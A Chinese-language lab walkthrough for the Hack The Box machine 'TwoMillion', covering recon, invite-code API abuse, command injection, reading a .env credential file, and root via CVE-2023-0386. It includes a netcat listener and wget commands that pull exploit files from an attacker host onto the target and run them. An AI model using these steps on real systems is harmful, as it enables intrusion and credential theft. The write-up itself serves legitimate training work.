【HTB】 TwoMillion 红队 easy
1、信息收集
1)端口及服务
nmap 10.10.11.221 -sCV --min-rate 5000 -p- -Pn
访问 10.10.11.221
被重定向到 http://2million.htb/
sudo echo '10.10.11.221 2million.htb' >> /etc/hosts
2)目录扫描
dirsearch -u http://2million.htb/
3)网站信息
2、检测网页
经过检测后发现有登录页面和邀请页面
首页邀请页面
仔细检测网页后,加上前面信息收集,可以得到 4 个有用的网页:接口页面 、登录页面、注册页面、邀请码页面
1)api
api 和 api/v1 都无法访问,也可能是没有登录的问题
2)login
3)register
邀请码不能输入,但又不得不要,bp 抓包可以修改邀请码,但邀请码格式不对
4)join
可以发现 eval 函数,register 页面也可以看见
这样不便于观察,复制到 https://beautifier.io/
可以得到两个函数,两个连接,第一个函数是关于验证邀请码的,第二个函数是关于生成邀请码的
前面登录、注册、邀请码页面,随便抓个包,修改为关于生成邀请码的地址
响应体说明数据是用 rot13 加密后的,解密内容如下
In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate
解密内容让我们以POST
方式访问/api/v1/invite/generate
base64 编码后,得到邀请码
NB3B0-41LDE-QMO75-A5B0L
5)输入邀请码,自动跳转到注册页面,注册完会跳到登录页面,登录后如下所示(我注册的用户名为 user1)
6)再次访问 api
访问 api 会让你访问 api/v1
3、api 枚举
1)访问 api/v1
主要分为 user、admin 两部分,我们比较关注POST
、PUT
user 的 POST 一个是注册、一个是登录,在前面我们用过。因此,我们关注 admin 的 POST、PUT
2)auth
首先查看 user 是不是 admin(user、admin 都可以检查)
user 的检查页面
admin 的检查页面
两个页面都说明 user1 不是 admin
3)update
修改为 PUT 方式、目的地址
根据响应包修改类型,影响包是 json 类型,那请求包也修改成 json 类型
响应包提示缺少email
参数,添加参数user1@htb.com
是我注册时的邮箱
响应包再次提示缺少is_admin
,由前面步骤可知,这个参数是确定 user 是否为 admin 的关键
/api/v1/admin/settings/update
应该是修改数据库,不知道是否可以利用,先看/api/v1/admin/vpn/generate
4)generate
修改为 POST 方式、目的地址
影响包提示缺少参数,随便添加个username
,有返回结果,可能没有通过数据库确认 username
是否存在,也许有 RCE
RCE 验证
kali 监听,发送 shell
nc -lvnp 1234
4、获取 user.txt
1)枚举
id
pwd
ls /home
ls -la
2)查看特殊文件
cat .env
3)ssh 连接
ssh admin@10.10.11.221
cat user.txt
5、获取 root.txt
1)查看 linux 内核
uname -a
搜索内核是否存在 CVE
在 kali 下载 CVE-2023-0386
git clone https://github.com/Fanxiaoyao66/CVE-2023-0386.git
cd CVE-2023-0386
python3 -m http.server 80
在靶机中进入 /tmp 目录
cd /tmp
mkdir .exp # 为了不影响其他人,在 /tmp 目录下创建隐藏文件
wget http://10.10.10.10/exp.sh
wget http://10.10.10.10/fuse.c
/bin/bash exp.sh
cat /root/root.txt